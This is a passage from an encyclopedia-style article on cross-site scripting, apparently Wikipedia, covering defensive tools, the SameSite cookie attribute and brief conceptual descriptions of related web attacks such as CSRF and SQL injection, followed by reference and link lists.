Another defense approach is to use automated tools that will remove XSS malicious code in web pages, these tools use static analysis and/or pattern matching methods to identify malicious codes potentially and secure them using methods like escaping.^[47]

SameSite cookie parameter[edit]

When a cookie is set with the SameSite=Strict parameter, it is stripped from all cross-origin requests. When set with SameSite=Lax, it is stripped from all non-«safe» cross-origin requests (that is, requests other than GET, OPTIONS, and TRACE which have read-only semantics).^[48] The feature is implemented in Google Chrome since version 63 and Firefox since version 60.^[49]

[edit]

In a Universal Cross-Site Scripting (UXSS, or Universal XSS) attack, vulnerabilities in the browser itself or in the browser plugins are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks).^[50][51]

Several classes of vulnerabilities or attack techniques are related to XSS: cross-zone scripting exploits «zone» concepts in certain browsers and usually executes code with a greater privilege.^[52][53] HTTP header injection can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as HTTP response splitting).^[54]

Cross-site request forgery (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user’s trust in a site, the attacker (and his malicious page) exploits the site’s trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.^[55] XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.^[56]

Covert Redirection takes advantage of third-party clients susceptible to XSS or Open Redirect attacks.^[57] Normal phishing attempts can be easy to spot, because the malicious page’s URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirection is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box.^[58]

Lastly, SQL injection exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered, any SQL statements can be executed by the application.^[59][60]

See also[edit]

• Web application security
• Internet security
• XML external entity
• Browser security
• Metasploit Project, an open-source penetration testing tool that includes tests for XSS
• w3af, an open-source web application security scanner
• DOMPurify, a free and open source code library by Cure53 to reduce susceptibility to XSS vulnerabilities in websites.
• Cross-document messaging
• Samy (computer worm)
• Parameter validation

References[edit]

Further reading[edit]

• MacKenzie, Thomas. «ScriptAlert1.com – Concise Cross-Site Scripting Explanation in Multiple Languages». Retrieved October 24, 2015.
• «Preventing XSS in ASP.NET Made Easy». Lock Me Down | Security for the Everyday Developer. February 6, 2015. Retrieved October 24, 2015.
• «Cross Site Scripting». The Web Application Security Consortium. October 13, 2005. Retrieved October 24, 2015.

External links[edit]

• OWASP: XSS, Testing for XSS, Reviewing Code for XSS
• XSSed: Database of Websites Vulnerable to Cross-Site Scripting Attacks